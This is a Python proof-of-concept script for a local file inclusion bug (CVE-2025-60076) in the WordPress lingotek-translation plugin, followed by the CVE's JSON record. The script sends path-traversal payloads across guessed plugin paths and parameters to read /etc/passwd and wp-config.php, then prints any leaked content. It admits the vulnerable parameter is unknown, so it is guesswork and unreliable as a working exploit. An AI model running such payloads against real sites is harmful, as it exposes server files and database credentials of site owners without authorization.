CVE-2025-60076

# CVE-2025-60076 PoC - WordPress lingotek-translation LFI # Affected: Ray Enterprise Translation <= 1.7.1 import requests import sys from urllib.parse import quote target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # Common WordPress paths for lingotek-translation plugin paths = [ '/wp-content/plugins/lingotek-translation/admin/lib/', '/wp-content/plugins/lingotek-translation/', '/wp-content/plugins/lingotek-translation/js/', ] # Vulnerable parameters to test (need to be identified from source) vulnerable_params = ['file', 'page', 'action', 'controller', 'template'] # Files to read files_to_check = [ '../../../../../../../../../etc/passwd', '../../../../../../../../../wp-config.php', '../../../../../../../../../var/www/html/wp-config.php', '../wp-config.php' ] print(f"[*] Testing CVE-2025-60076 LFI on {target}") print(f"[*] Target plugin: lingotek-translation (Ray Enterprise Translation)") for path in paths: for param in vulnerable_params: for file_path in files_to_check: url = f"{target}{path}?{param}={file_path}" try: r = requests.get(url, timeout=10, verify=False) if 'root:' in r.text or '<?php' in r.text: print(f"[+] VULNERABLE! {url}") print(f"[+] Content snippet: {r.text[:500]}") except requests.RequestException as e: print(f"[-] Error: {e}") print("\n[*] Manual testing recommended - check source code for exact vulnerable endpoint")

{"cve": {"id": "CVE-2025-60076", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:07.670", "lastModified": "2026-04-27T16:16:31.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Jiro Sasamoto Ray Enterprise Translation lingotek-translation allows PHP Local File Inclusion.This issue affects Ray Enterprise Translation: from n/a through <= 1.7.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/lingotek-translation/vulnerability/wordpress-ray-enterprise-translation-plugin-1-7-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}